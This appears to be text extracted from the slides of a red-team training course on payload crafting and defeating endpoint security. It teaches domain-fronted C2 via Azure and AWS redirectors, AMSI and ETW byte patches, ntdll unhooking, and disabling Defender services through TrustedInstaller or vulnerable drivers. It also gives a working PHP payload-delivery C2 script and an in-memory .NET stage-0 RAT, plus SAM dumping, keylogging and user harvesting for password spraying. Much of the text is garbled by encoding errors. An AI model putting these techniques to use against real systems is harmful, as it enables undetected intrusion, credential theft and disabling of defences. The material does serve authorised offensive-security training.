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.NET can be used to hide your code using native ProtectedMemory
class
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SameLoginand SameProcesscan be usedto preventsecurityproduct
scan to analyzeyourmaliciousdata storedin memory, sincethey will
not be able to unprotect the memory
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Write C code to 
execute shellcode using 
CreateThread
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The call to the CreateThreadconfirms that the code will be executed

Quick note on calling convention on 32 bits system: it uses the stack in 
to push the arguments
In this case ESP + 4 = 0x0060FEB0 = mem
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Now you have all the 
tools in the world to be 
creative when it comes to 
payload generation
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WARNING
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When you are designing your payload, you may want to think of the 
following:

If you want to avoid network detection, act like a legitimate 
service

Be ahead of detection using the latest technology:
ÁWebsocket, for example

ÁUsing API technology structure (JSONP, SOAP)
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If you want to avoid detection, understand your enemy

What do they really monitor?
ÁNetwork

ÁAPIs hooks

ÁBehaviors

ÁHeuristics

ÁHash based
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Network:
ÁSecond layer of encryption

ÁShady, less used protocol

ÁSecure channel
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Why domain fronting is so powerful:
Á¦ǎƛƴƎ ƪƴƻǿƴ άǘǊǳǎǘŜŘέ ŘƻƳŀƛƴ ǘƻ ǊƻǳǘŜ ȅƻǳǊ ǘǊŀŦŦƛŎ ǿƛƭƭ ƛƴŎǊŜŀǎŜ ǘƘŜ ŎƘŀƴŎŜ 

to blend in

ÁIf the traffic is not encapsulated into a secure channel (TLS), heuristic 
detection may be harder
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Why domain fronting is so powerful:

! ǘȅǇƛŎŀƭ ŘƻƳŀƛƴ ŦǊƻƴǘƛƴƎ ǿƛƭƭ ƘŀǾŜ ŀ Iƻǎǘ ƘŜŀŘŜǊ ǘƘŀǘ ŘƻŜǎƴΩǘ ƳŀǘŎƘ ǘƘŜ Ƙƻǎǘ 
requested

This is something that is used legitimately
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Why domain fronting is so powerful:

Querying google.com

GET / HTTP/2.0

Host: malicious.com

Assuming that the server supports arbitrary host, the request will be 
forwarded to the attacker.

https://github.com/vysecurity/DomainFrontingLists
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HTTP IS PROBABLY THE MOST USED PROTOCOL 

ÁWELL DETECTED

ÁEASY TO USE TONS OF LIBRARIES
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RAW TCP 

ÁFAST

ÁWELL DETECTED

ÁNEED MORE TIME TO CODE
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DNS

ÁLESS MONITORED

ÁSLOW

ÁNEED MORE TIME TO CODE
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ICMP

ÁLESS MONITORED, NOT SUPER POPULAR ANYMORE

ÁSUPER SLOW

ÁNEED MORE TIME TO CODE
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Protocol encryption VS software encryption:

Protocol may be easily intercepted by network filter

TLS - > Windows Decryption - > Network Filter - > Application

|

)ÔƦÓ ÎÏ× ÃÌÅÁÒ ÔÅØÔ

TLS - > Windows Decryption - > Network Filter - > Application - > 
Decryption

|

Still encrypted
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ThunderShellis using this approach

https://github.com/Mr-Un1k0d3r/ThunderShell

HTTPS

HTTP
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ThunderShellis using this approach

https://github.com/Mr-Un1k0d3r/ThunderShell

The JSON data contains the actual C2 communication

¢ƘŜ ǘǊŀŦŦƛŎ ƛǎ ǎǘƛƭƭ ŜƴŎǊȅǇǘŜŘ ǎƛƴŎŜ ƛǘΩǎ ŘŜŎǊȅǇǘŜŘ ŀǘ ǘƘŜ ǎƻŦǘǿŀǊŜ ƭŀȅŜǊ 
This obviously defeats network filter

177

https://github.com/Mr-Un1k0d3r/ThunderShell


GainingAccess

APIs hooking:
Á5ƻƴΩǘ ǳǎŜ ǘƘŜ ƻƴŜǎ ǘƘŀǘ ŀǊŜ ƘƻƻƪŜŘ

ÁLŦ ƛǘΩǎ ǳǎŜǊ ƳƻŘŜ ƘƻƻƪƛƴƎΣ ƧǳƳǇ ƻǾŜǊ ǘƘŜ Ƙƻƻƪ

ÁJumping user land hooks

ÁDepending on how deep the hook is, call lower Windows API:

CreateFile vs NtCreateFile vs ZwCreateFile
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CreateFilekernel32.dll

NtCreateFilentdll.dll

syscall
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Nt* and Zw* are the sameusingZw* will not defeat
hooksin the Nt* APIs
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Zw* is designedto be calledfrom the kernel

Nt* is designedto be calledfrom the userland
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Behaviors:

Process correlation:
ÁWinWord.exe -> cmd.exe -> powershell.exe

ÁWinWord.exe UsingVBA to registerWMI process

Ensurethat process tree isnot suspicious
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Behaviors:

Process path:
ÁC:\windows\system32\cmd.exe

ÁC:\suspicious\cmd.exe

Unexpectedprocess issuingnetwork requests

Unknownprocess name/ registrykeys
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Heuristics:

AMSI detectionbasedon knownmaliciousstrings

AV signature for knownhacking tool (non-compiledcode)

AV signature for knownbadbinaries

Blacklistedknownbinaries
Áregsvr32.exe

Ápowershell.exe
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You can patch knownlolbin and change the hash, but it will remain
signedand verified

https://github.com/Mr-Un1k0d3r/Windows-SignedBinary
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Hash based:

Known malicious hash

Known Windows binaries that are blacklisted, based on the hash:
Áregsvr32.exe

Áregasm.exe

Ámsbuild.exe

Solution: change the hash
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WARNINGEACH SECURITY PRODUCTS IS WORKING DIFFERENTLY

KERNEL HOOKS VS USERMODE HOOKS

HOOKING THE DESTINATION VS THE SOURCE

https://github.com/Mr-Un1k0d3r/EDRs
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Evasion techniques such as renaming may evade a solution. In other 
situations, it may trigger alerts

Then the newly created binary can be used instead of the legitimate 
msbuild.exe
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Evasion techniques such as patching AMSI AmsiScanBuffer API

In certain cases, the patching action may trigger alerts

In certain cases, simply running less suspicious commands will not trigger an alert
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ÁAntimalware Scan Interface (AMSI): The Windows Antimalware Scan 
Interface(AMSI) is a versatile interface standard that allows your applications and 
services to integrate with any antimalware product that's present on a machine

ÁAMSI provides enhanced malware protection for your end-users and their data, 
applications, and workloads
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Unmanaged powershellis not loading AMSI

Only when the System.Management.Automation.dll Invoke is called 
ASMI will be loaded

Same goes with Assembly.LoadetcΧ

C# does not load AMSI by default
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¢ƘŜǊŜ ƛǎ ǎŜǾŜǊŀƭ ǘƻƻƭ ǘƘŀǘ άōȅǇŀǎǎέ !a{L ōǳǘ ǘǊǳƭȅ ŘƻƴΩǘ Řƻ ƳǳŎƘ ǎƛƴŎŜ 
AMSI is not loaded in the current context

You want to know if AMSI is loaded, list all the loaded Dlls; you are 
looking for amsi.dll

A simple trick can be used to unload it (work with EDR Dllstoo)

FreeLibrary ("amsi.dll");

As shown earlier it can be patched too (AmsiScanBuffer)

192



GainingAccess

Example of a C# program
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Powershell.exe
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Unmanagedpowershell?
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Unmanagedpowershell

Pipeline p = r.CreatePipeline(); does not load 
amsi.dll

Importing 
System.Management.Automation.Runspaces
does not load amsi.dll

Calling Runspacer = 
RunspaceFactory.CreateRunspace(); does not 
load amsi.dll

The call that trigger the load of AMSI is the 
Invoke()
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If you are goingto patch AMSI, makesure you
patch it before the call that will load it
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The language used to develop your payload may make a difference

You can obfuscate your final stage using language such as:
ÁGo

ÁRust

ÁJavaScript

ÁPython to exe

ÁNim(https://github.com/byt3bl33d3r/OffensiveNim)

Áor your favorite language
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Quick note on staged vs stageless

ÁA stager is a simple shellcode that usually connects back to a host and 
downloads the second stage

ÁA stagelesspayload contains all the malicious payload and does not 
perform a second download to get the core code
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Meterpreter is a perfect example:

The staged version of itworks using the following approach:
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Meterpreter is a perfect example:

The stagelessversion of itworks using the following approach:
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Stageless:

PROS:

ÁNo second stage downloaded over the network that can be captured with 
network filter

ÁYou can obfuscate the whole RAT
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Stageless:

CONS:

ÁBigger payload

ÁMay not work depending on the vectors because of size limitation
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Staged:

PROS:

ÁSimple and small payload

ÁCan wrap with other techniques easily
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Staged:

CONS:

ÁDownload over the network (dll in clear)
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Evasion VS Obfuscation

Evasion:
ÉÆƽÕÓÅÒ ˮˮ Ƨ#ÈÁÒÌÅÓƨƾ ǅ ÄÏ ÂÁÄ ǆ

Obfuscation:
var user = 0x436861726c6573; 
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Exercise
Bypass AMSI by 
obfuscating your 
favorite powershell
code
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This code is detected by AMSI
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Obfuscate your payload; in this case, the base64
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Replace letters that are the most common in the base64 blob of data in 
ǘƘƛǎ ŎŀǎŜ ΨbΩ ŀƴŘ Ψ.Ω

Break the base64 data using arbitrary symbol
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Want to figure out if your code is triggering AMSI:

https://github.com/RythmStick/AMSITrigger
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https://github.com/RythmStick/AMSITrigger


Exercise
Confirm that the code 
does not trigger AMSI 
anymore by obfuscating 
some Powershell
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Quick note on DLLs:

https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-
library-best-practices

NEVER PUT YOUR CODE IN THE DllMain
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https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices
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DllsHell
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So how does reflective DLL work then?

Export DllMain () {

}

Export ReflectiveLoad () {

}

rundll32.exe malicious.dll,ReflectiveLoad
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Not perfect but work most of the time:

https://github.com/Mr-Un1k0d3r/DLLsForHackers

int __cdeclsystem(constchar *Command)

intptr_t __cdeclspawnvpe(int Mode, constchar *Filename, constchar *const*ArgList, constchar *const*Env)

intptr_t __cdeclspawnve(int Mode, constchar *Filename, constchar *const*ArgList, constchar *const*Env)

signed__int64 __fastcallcomexecmd_0(unsignedint a1, __int64 a2, __int64 a3, __int64 a4)

signed__int64 __fastcalldospawn(signedint a1, constCHAR *a2, __int64 a3, void *a4)

BOOL __stdcallCreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, ...)
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https://github.com/Mr-Un1k0d3r/DLLsForHackers
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Inspectingwasisgoingin the background isalsoreallyimportant to 
improveyourunderstandingof the underlyingmagic

API Monitor is tool that can help you
http://www.rohitab.com/apimonitor

API Monitor is a free software that lets you monitor and control API 
calls made by applications and services

Its a powerful tool for seeing how applications and services work or for 
tracking down problems that you have in your own applications
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http://www.rohitab.com/apimonitor
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Setting up your infrastructure is important

Cloud service can be usedto proxy your network traffic
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Whywould youuse the cloud

The domainare trustedand NOT newlyregistered

Most of the corporateproxy will allowthem sinceeverythingis in the cloud

AWS: *amazonaws.com

Azure: *azureedge.net, *.azurefd.net etc..

Yourtarget likelyhave service running in one of the two
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!ȊǳǊŜ ƻŦŦŜǊ /5b ŦŜŀǘǳǊŜ ǘƘŀǘ Ŏŀƴ ōŜ ǳǎŜŘ ǘƻ άƘƛŘŜέ ȅƻǳǊ ǘǊǳŜ ŘƻƳŀƛƴ

Once you access the portal (https://portal.azure.com), I recommend 
using the search because the UI is a mess

https://portal.azure.com/
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Keepin mind this can be usedfor domainfronting, but we are not 
doingdomainfronting here, sinceAzure isclearabout the fact that it is
NOT allowedanymore

!ƭƭ ǿŜ ŀǊŜ ŘƻƛƴƎ ƛǎ άIƛŘƛƴƎέ ƻǳǊ ǎŜǊǾŜǊ ōŜƘƛƴŘ ŀƴ !ȊǳǊŜ ǎŜǊǾƛŎŜ
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Createa new instance
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REALLY IMPORTANT DISABLE CACHING
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Azure allowyouby default to do geofencingand muchmore

Once youare set, youcan set your Cobalt Strike to 
mrun1k0d3r.azureedge.net whichpoint to your C2 server IP, underthe 
hood
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Ratheruse AWS insteadof Azure. Sure!

You can use lambda to forward network to yourhost

https://blog.xpnsec.com/aws-lambda-redirector/

With a bit of code, you can have your server assigned to 
[random].execute-api.us-east-1.amazonaws.com

Once again, you will have a domain in front of your server that is 
trustable

https://blog.xpnsec.com/aws-lambda-redirector/
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You want a good profile:

EchoMirage MITM, a legit application, and duplicate the traffic
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Frompcapto Cobalt Strike profile
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Lookingfor a niceprofile?

Pick one of your favorite corporateapplications that sendtraffic over the Internet suchas:

ÁSharePoint

ÁTeams 

ÁOffice

You can use WireSharkto sniff the traffic or a web proxy.
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[ŜǘΩǎdeal with the host first

Registerres-cdn-office.azureedge.net



GainingAccess

235

For the profile set the URI to

Set the headers
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On the server side

[ŜǘΩǎprependand append the SVG structure 
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Whenthe beacon will callback, it will look like the server is returning
an SVG file due to the profile we created
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IN CONCLUSION DESIGNING PAYLOAD TAKE 
TIME, RESEARCH AND 

TEST

CREATE YOUR OWN LAB 
PLAY WITH THE SECURITY 

PRODUCT

CODE CODE CODE



15 minutes break



What is an EDR, XDR or NDR? 

240

Endpoint detection & response relies on the following to detect 
malicious activities:

ÁAMSI

ÁETW & ETW Ti

ÁάaŀŎƘƛƴŜ [ŜŀǊƴƛƴƎέ

ÁSandboxes

ÁKernel callbacks

ÁUser Mode Hooking

ÁKilling the EDR

ÁAlternative to get your code running
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What is AMSI

AMSI is according to Microsoft: 
The Windows Antimalware Scan Interface(AMSI) is a versatile interface standard that allows your 
applications and services to integrate with any antimalware product that's present on a machine. AMSI 
provides enhanced malware protection for your end-users and their data, applications, and workloads.
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DEFEATING AMSI using obfuscation
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DEFEATING AMSI by patching AMSISCANBUFFER API
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DEFEATING AMSI by patching AMSISCANBUFFER API USING A 
SINGLE BYTE APPROACH 
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DEFEATING AMSI By patching AMSISCANBUFFER API USING A 
SINGLE BYTE APPROACH 

amsi.dll export address table
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DEFEATING AMSI By patching AMSISCANBUFFER API USING A 
SINGLE BYTE APPROACH 
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rbx is pointing to the first argument passed to the function

the AMSICONTEXT structure first bytes are the magic bytes AKA AMSI

DEFEATING AMSI by patching AMSISCANBUFFER API using a 
single byte approach 
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DEFEATING AMSI by patching AMSISCANBUFFER API using a 
single byte approach 

Simply put, the function validate the AMSI context provided it is valid

As an attacker we can patch the jump condition to always fail the check
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DEFEATING AMSI by patching AMSISCANBUFFER API using a 
single byte approach 

Notice the use of GetProcAddress, LoadLibraryand VirtualProtect, EDR may monitor 
these calls
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WHAT IS ETW

According to Microsoft ETW is:
Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-
mode applications and kernel-mode drivers. ETW is implemented in the Windows operating system and 
provides developers a fast, reliable, and versatile set of event tracing features.

source Microsoft
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Patching user mode API for ETW

Like AMSI, the classicpatch relies on patchingthe EtwEventWriteAPI ntdll.dll
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PATCH ETWEVENTWRITE API

NtTraceEventis the syscallto enter 
the kernel
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WHAT IS ETW

Nt* APIs are usually the lowest functions before a syscallwill be issued
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PATCHING Nttraceevent

NtTraceEventis hiding all over the place
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PATCHING Nttraceevent

Patching the NtTraceEventfunction and make it simply return without actually 
executing the syscall

Another one byte patch
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ETW PROVIDERS

ETW also relies on providers with administrative right; you can free most of the 
providers

https://github.com/jthuraisamy/TelemetrySourcerer
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ETW PROVIDERS

Under the hood, the stop session is getting a handle on the ETW provider and call the 
EnableTraceEx2 API using the EVENT_CONTROL_CODE_DISABLE_PROVIDER flag
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The EVIL TWIN

User mode is nice but the kernel also 
have some ETW

These can be found in ntoskrnl.exe

Let me introduce the:

ETW Thread Intelligence
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The EVIL TWIN

You can viewthe event
monitoredusing EtwExplorer

https://github.com/zodiacon/EtwExplorer
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The EVIL TWIN

NtReadVirtualMemorykernel 
implementationeventuallycalls 
MiReadWriteVirtualMemorywhichis
callingETWTiLogReadWriteVm

You cannotpatch this kindof call from
user mode, sadly

But, if yougetkernel code exécution, 
sameconcept can beapplied
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As an attacker do we have options?

A classicexampleof dump the SAM & SYSTEM

reg save HKLM\ SYSTEM system.save

reg save HKLM\ SAM sam.save
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As an attacker do we have options?
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As an attacker do we have options?
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As an attacker do we have options?
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Remotely executing code?

DCERPC is quite powerful, you can achieve pretty much everything over RPC

For example how secretdumps.py actually work?
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Remotely executing code?

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RRP/%5bMS-RRP%5d.pdf
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CHAINING VARIOUS TRICK

Use the AppDomaintrick to loadyourpayloadwithin Update.exe - kindlysignedby 
Microsoft
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CHAINING VARIOUS TRICK

Thenyoudo your internalǊŜŎƻƴƴŀƛǎǎŀƴŎŜΦ  !ƴŘΧ
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CHAINING VARIOUS TRICK

ά¢ǊǳǎǘŜŘέ ōƛƴŀǊȅ ŎŀƭƭƛƴƎ ōŀŎƪ ŀ άǎƘŀŘȅέ ŘƻƳŀƛƴ ŀƴŘ ŎƻƴƴŜŎǘƛƴƎ ǘƻ ǎŜǊǾƛŎŜ ƭƛƪŜ kerberos
and SMB

How can we break the chain?

One process that takes care of the outbound network communication

One process taking care of the internal reconnaissance and forward the information
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CHAINING VARIOUS TRICK

Using tool such as Cobalt Strike makes this fairly easy

ÁUpdate.exe callback to your domain

ÁSpawn a SMB beacon on the system

ÁLink the SMB beacon to your HTTPS beacon (on the same host or through another 
one you have already compromised)

ÁDo all the reconnaissance on the SMB beacon
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CHAINING VARIOUS TRICK

Abuse of Microsoft own features:

Signedbinaryand signedscripts

Microsoft Defender has plentyof 
PowerShell scripts that can beusedto 
executecode and they are signed

https://github.com/Mr-Un1k0d3r/ATP-PowerShell-Scripts
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CHAINING VARIOUS TRICK

Thesescripts export functionalitiessuchas:
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CHAINING VARIOUS TRICK

Wenow have a bringyourown Microsoft signedscripts on the target.
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!ǎǎŜǎǎ ƛŦ ǘƘŜ ƛƴǘŜǊŀŎǘƛƻƴ ƛǎ ƘǳƳŀƴΣ ƴƻǘ ƛŦ ƛǘΩǎ ŀǳǘƻƳŀǘŜŘ

Yourphishing payloadwasexecutedby a user: youwouldexpectsomeinteraction on the system

Monitor foregroundwindowactivity
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!ǎǎŜǎǎ ƛŦ ǘƘŜ ƛƴǘŜǊŀŎǘƛƻƴ ƛǎ ƘǳƳŀƴΣ ƴƻǘ ƛŦ ƛǘΩǎ ŀǳǘƻƳŀǘŜŘ

You can alsomonitor for:

ÁProcess check Chrome, Outlook etc...

ÁMouse, Keyboard and other peripherals

ÁNumberof DNS queries

ÁΧ

The goal is to avoidautomatedescalationdetection
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HIDE YOUR PHISHING PAYLOAD FROM CRAWLER

mouseovereventcan beusedto 
trigger code change at runtime

In this case the script also expect 
movement over the body not just an 
automated click
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REMOVE IT OR HIDE FROM IT?

kernel32!OpenProcess

kernelbase!OpenProcess

ntdll!NtOpenProcess

syscall0x26
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REMOVE IT OR HIDE FROM IT?

To revert it back to the original state, we need11 bytes

https://github.com/Mr-Un1k0d3r/EDRs
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REMOVE IT OR HIDE FROM IT?

Revertback the ntdll.dll content back to the original state
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REMOVE IT OR HIDE FROM IT?

You can alsocompletelyreimplementthe syscallon yourown like syswhisper. 

https://github.com/klezVirus/SysWhispers3
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REMOVE IT OR HIDE FROM IT?
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REMOVE IT OR HIDE FROM IT?

To unhook, youneedto modify the memory permission using
NtProtectVirtualMemory, which is hooked itself

You need to be clever when you changer permission

NtProtectVirtualMemoryis at 0x9ceb0

ZwIsProcessInJobis at 0x9ce90

Call VirtualProtect(addrof ZwIsProcessInJob, size = 0x20 + size needed in 
NtProtect)
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REMOVE IT OR HIDE FROM IT?

You can alsomapthe dll from diskand update the PEB LdrModule list to point to 
the freshlymappedfile usingCreateFileMappingandMapViewOfFileAPIs

Certain EDR will trigger an alert based on the address used for the mapped file and the 
module stomping
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IAT HooKS?

Executableuse the IAT Import 
AddressTable to mapWindows API 
call

The table can behookedby EDR

Solution? Direct Windows API call

PEB -> Ldr-> kernel32.dll -> export 
table parsingto get real API address
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IAT HooKS?

Getthe PEB

NtCrrentTeb()-
>ProcessEnvironmentBlock;

Or obfuscateit a bit to hidethe

Áfs:[0x30]

Ágs:[0x60]
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IAT HooKS?
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IAT HooKS?
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KERNEL callback?

There isplentyof options availablefor EDRs
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KERNEL callback?

There isalsoother minifilters that can be registered. TelemetrySourcerercan be
usedto list them

https://github.com/jthuraisamy/TelemetrySourcerer

In this case a popularedrshadcallback registered

for pretty mucheverything
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KERNEL callback?

C2 mayuse namedpipefor interprocesscommunication or remotecommunication 
(SMB beacon)

Whatabout avoidingnamedpipe? Let me introduceMailSlotAPIs
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KERNEL callback?

WARNING

Mailslotmessage cannotbebigger
than 424 bytes

But EDRs usually do not monitor 
the APIs
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Instead of bypassing it,  why not destroying it?

At the end of the dayEDRs are running software on the endpointyouhave access
to.

https://github.com/Mr-Un1k0d3r/EDRs/blob/main/elevate_to_system_or_trustedinsaller.c
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Instead of bypassing it,  why not destroying it?

You can impersonatethe TrustedInstallerprivilege, but duplicatingthe service 
tokenand get the group
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Instead of bypassing it,  why not destroying it?

With the TrustedInstallerprivilegeyoucan tamperthe registrykey associatedwith
the services



Attacking the EDR Core Values

295

Instead of bypassing it,  why not destroying it?

Removethe ImagePathand set Start to 0x4 for the followingservices:

ÁSense

ÁWdBoot

ÁWinDefend

ÁWdNisDrv

ÁWdNisSvc

Reboot and enjoy



Attacking the EDR Core Values

296

Instead of bypassing it,  why not destroying it?

There isa problem, the EDR will flag the registrytampering

Most EDRs are cloud based, whichmeansthey needto sendthe information to 
the cloud

You can monitor the network traffic usingNetwork Monitor (Signedby Microsoft)

https://www.microsoft.com/en-ca/download/details.aspx?id=4865
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Instead of bypassing it,  why not destroying it?
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Instead of bypassing it,  why not destroying it?

One last problem: the firewall may
not beenabledlocally, due to 
managedpolicy
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Instead of bypassing it,  why not destroying it?

Createa local administrative 
accountto enforce the local policy
insteadof the domain



Attacking the EDR Core Values

300

Instead of bypassing it,  why not destroying it?

Quick summary:

ÁCreatea local administrative accountto enforce the local policy

ÁBlock the EDR network range

ÁDisablethe service

ÁReboot

ÁEnjoy
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Instead of bypassing it,  why not destroying it?

SomeEDR preventtamperingfrom the kernel

You can bringyourown vulnerabledriver to compromise the kernel and remove
the kernel callback

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Drivers tend to be poorly designed; there are vulnerabilities all over the place
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Instead of bypassing it,  why not destroying it?

Hunting for MmMapIoSpacein a driver export isa good start

Virtual to physicalmemory mappedin the kernel; they cannotbepagedout
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Instead of bypassing it,  why not destroying it?

Rememberthesekernel callback

Once youhave kernel code execution, 
youcan modify the callbacks

Kernel code ishard, there isa bit of a 
learningcurve
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Instead of bypassing it,  why not destroying it?

EDRSandBlast

Abuse of read/write primitive in the followingsdrivers:

ÁRTCore64.sys

ÁDBUtils_2_3.sys

https://github.com/wavestone-cdt/EDRSandblast
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Do we need shellcode?

{ƘƻǊǘ ŀƴǎǿŜǊ ǿŜ ŘƻƴΩǘ 

Cobalt Strike was build on Metasploit Meterpreter which was an exploitation 
framework

Stage0 using shellcode was useful in an exploitation context

άaƻŘŜǊƴέ wŜŘ ¢ŜŀƳ ŀǊŜ ǳǎǳŀƭƭȅ ŘŜǇƭƻȅƛƴƎ ŎƻŘŜ ƻƴ ǘƘŜ ǘŀǊƎŜǘ ǎȅǎǘŜƳ

Your implant can be written in C#, or C, or Nim, or whatever make you happy and 
implement the features you need directly
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Do we need shellcode?

I personallyuse a C# implant that executein memory .Net exe; Eachcommand isa 
.Net module
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Do we need shellcode?

You maywant to patch AMSI and ETW since.Loadwill end up loadingAMSI on 
yourbyte[] assembly
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Do we need shellcode?

After the Assembly.Loadwascalled
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WHAT you need to learn about?

ÁMemory permission RWX memory isbad(Image, Private, Mapped)

ÁPEB.LDR module overrideaddresslocation

ÁArguments passedto Windows functions(stack spoofing)

ÁShellcodeobfuscation: hidingthe fs:0x30 or gs:0x30 call

ÁHow reflective loading works (Pretty much a self LoadLibraryA/W 
reimplementation)

ÁHookings(Sleep Hooking or other ideas)
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WHAT you need to learn about?

ÁHow LoadLibraryA/W work underthe hood
Ántdll!LdrLoadDll

Ántdll!LdrpInitializeDllPath

Ántdll!LdrpLogDllStateEx2

Ántdll!LdrpLogEtwEvent

Ántdll!NtTraceEvent
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WHAT you need to learn about?

So RWX memory and patchingmemory isdangerous

Yes and no, but if youwant to beextra careful, youcan use of hardware 
breakpointto alter the memory

Áhttps://github.com/rad9800/hwbp4mw

Áhttps://github.com/rad9800/misc/blob/main/NtTraceEvent.c

https://github.com/rad9800/hwbp4mw
https://github.com/rad9800/misc/blob/main/NtTraceEvent.c


PayloadCrafting

This isa quick overviewof someof the tricks that can be usedto create
payloads

Shamelessplug: if youare curiousin the codingaspect of a red team, I 
highlyrecommendregisteringto my patreon

More than 100 hoursor videosabout offensive coding

https://mr.un1k0d3r.online/portal/

https://patreon.com/MrUn1k0d3r
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Keepin mind that EDR maynot hookthe sameAPIs.

You can validatewhichone are hookedusingthe hook_finder64

https://github.com/Mr-Un1k0d3r/EDRs/blob/main/hook_finder64.c
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Most Nt* API will requirean OBJECT_ATTRIBUTE that needsto be
initializedmanuallyin your code

Source code:https://mr.un1k0d3r.online/training/source/syscall.c
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I personallyprefer patchingthe Nt* insteadof usingdirect syscall, 
becauseof the lackof documentation, but luckily, there are a lot of 
cool projectssuchas syswhisper

https://github.com/jthuraisamy/SysWhispers
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PROS:
ÁPrettyefficient usermodehookbypass

ÁNo needto change memory permission

CONS:
ÁLackof documentation

ÁHard to code
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Yourstage 0 shouldbeas simple as possible and usedas reconbefore
youdrop your full RAT

For your stage 0 you need:

Áin and out data transport

ÁSimple command execution(avoidingŎƳŘΦŜȄŜ ŜǘŎΧύ

317



PayloadCrafting

Source code: https://mr.un1k0d3r.online/training/source/http_c2.cs

Ignoringthe cert is the first step
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Creatingyournetwork querymethod
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Gettingthe data:

ÁSenda requestand get the responseas the 
data to process

ÁExecutethe data receivedas .Net code
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Assembly.Load can receivea string, 
and loadthe exe from it
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The main part of the code

322



PayloadCrafting

Onlything left is to host your recon.net code on the remote server.

<?php

if( strpos ($_SERVER["HTTP_USER_AGENT"], "ringzer0") !== false) {

$data = file_get_contents (" php://input");

if(! empty($data)) {

// save output of a command to a file

file_put_contents ("/ tmp/output.c2", $data, FILE_APPEND);

} else {

// deliver payload

echo base64_encode( file_get_contents ("bin.exe"));

}

}

?>

Source code: https://mr.un1k0d3r.online/training/source/c2.php.txt
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Quick trick to avoidautomated
tool to fetch your payloads

if( strpos ($_SERVER["HTTP_USER_AGENT"], "ringzer0") !== false)
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You now have a fully functional RAT that execute
assemblyin memory

We will cover which kind information you should gather 
in the next section
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Yourpayloadwill be inspectedby EDR & AV and other securityproduct

Obfuscation isdesignedto getyou landedwhereyouwant to; it doesnot defeat
runtime analysis

Classictechniques:

ÁEncryptingthe shellcodewith a XOR loop

ÁEncryptingthe shellcodeusingRC4

ÁEncryptingthe shellcodeusingAES

ÁGzipping, Base64 the shellcode
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What if our code hadnone of the followingcharacteristicsand a fairly
good entropy?

Randomnessof the code can beevaluatedgivingan entropyscore 
basedon the score
ÁIt ispossible to evaluatethe chance of a samplebeingencryptedor 

obfuscated

Legitcode usuallyisnot THAT random
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With that in mind, lets think of how we can represent our shellcode

We know that we have bytes from 0x00 to 0xff in there (256 
possibilities)
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You will end up with a list of word, tied to an index

Our shellcodeis 0x00, 0x02, 0x01, 0x00, 0x00, 0x01

table = {"first" , "second" , " third "};

mapping = {"first" , "third" , "second", "first", "first", 
"second"};

This will producedecententropy due to the use of wordsand none of the 
« known » patterns are presentin the code
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All we have to do is map the word to the index to retrieve the original 
byte

C# is kind enough to provide the following method:

Array.IndexOf(table, needle);
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This will produce a final executable of 3 to 4 Mb; which is also nice, 
since some engine will not even bother analyzing bigger file

Since it was written in .Net, we can pass this file to our .Netstage 0 
which is accepting arbitrary assembly to be loaded through 
Assembly.Load()
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https://github.com/Mr - Un1k0d3r/MiniDump

https://github.com/Mr - Un1k0d3r/MiniDump/blob/master/dump.c

VS
https://github.com/Mr - Un1k0d3r/MiniDump/blob/master/safe - against - edr -
minidump64.c
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Revisitingyour classic: Msbuild.exe

You think everythingthat waspossible is
alreadypublic, be creative

msbuild.exe csprojŦƛƭŜ ŀǊŜ ·a[ ŦƛƭŜΧ

That executeC# code

https://github.com/Mr-Un1k0d3r/PowerLessShell
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5ŜǘŜŎǘƛƻƴ ƛǎ άŜŀǎȅέΣ ǎƛƴŎŜ ǘƘŜ /І ƛǎ ƛƴ ŎƭŜŀǊ

Whynot usingXML concept to hide the payload
usingENTITY to HTML encode the whole C#

Sametechnique 0 on diskdetection, becauseyou
have another layer of obfuscation on top of the 
original toolset
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ÁProcess listing should be the first command you run

ÁThis will confirm if there is another user of interest running on the 
host

ÁIt will confirm which security product is running on the system
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In addition to process listing, dumping services may be useful

Cobalt Strike command pscan be used

More information can be retrieved using WMIC

Services information can also be retrieved through WMIC
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Rememberour simple stage 0 RAT?

Listing process in C#
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You can reimplementpretty muchall of the 
Windows command in C and C# to avoid

usingŎƳŘΦŜȄŜ κŎ Χ
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Services listing will help you confirm if there are
security solutions running on the host 

It may also reveal custom services
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If you enjoy reverse engineering, you can try to reverse the service and 
find potential vulnerabilities or embedded credentials

Real life example:

The company wants to save energy, so they force shutdown 
workstations at midnight; the service is sending information to a server 
and the credentials used are embedded in the binary
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Quick reverse engineering tips:

If the binary file is a .NET file, use dnSpy:

Áhttps://github.com/0xd4d/dnSpy/releases

If it is a native executable:

Áxdbg64 https://x64dbg.com

ÁIDA (freeware or PRO if you have a license) https://www.hex-
rays.com/products/ida/support/download_freeware.shtml

ÁGhidrahttps://www.nsa.gov/resources/everyone/ghidra/
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application
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Challenge URL: https://mr.un1k0d3r.online/training/source/Corpo.exe
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staticVS runtime debugging
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dnSpylive debugging

Adda breakpointon DoCorpo

Stepover until the decryptionis
completed
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Once the call to DecryptStringFromBytes_Aes is completed, simply 
inspect the variable in the debugger
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Reconnaissance
ÁYou have your shell and you are ready to discover what 

is going on in the network

ÁDump all the users and emails 

ÁPowershellhttps://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scri
pts/Utility.ps1

ÁCSharphttps://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/ldaputi
lity.exe
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The ideais to makesure youhave the biggestsampleas possible, in 
case you loose access

You can refine your future phishing or passwordspraying
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You want to make sure to have emails and users to be able to perform:
ÁPassword spraying against a bigger set of users

ÁPotentially target more employees, in case you lose access to the network

When dumping users, try to include the description; that may help you target 
valuable assets

Password spraying should be performed against a small group of users that are 
valuable
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Usually if you gained access through a phishing campaign, your shell is 
most likely running on a workstation

Capturing keystrokesand screenshotsmay help you ensure the security 
team is not interacting with the victim

Screenshot may also reveal applications used by the user and sensitive 
information 

Keystrokes may also provide password for free 
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Workstation may also provide valuable information:
Dumping the browser homepage usually points to the intranet
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-
BrowserHomepage.ps1

Bookmarks may reveal internal portal that can be used to perform lateral 
movement

https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-
IEBookmarks.ps1
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A Socks proxy can be used to connect to the intranet and gather 
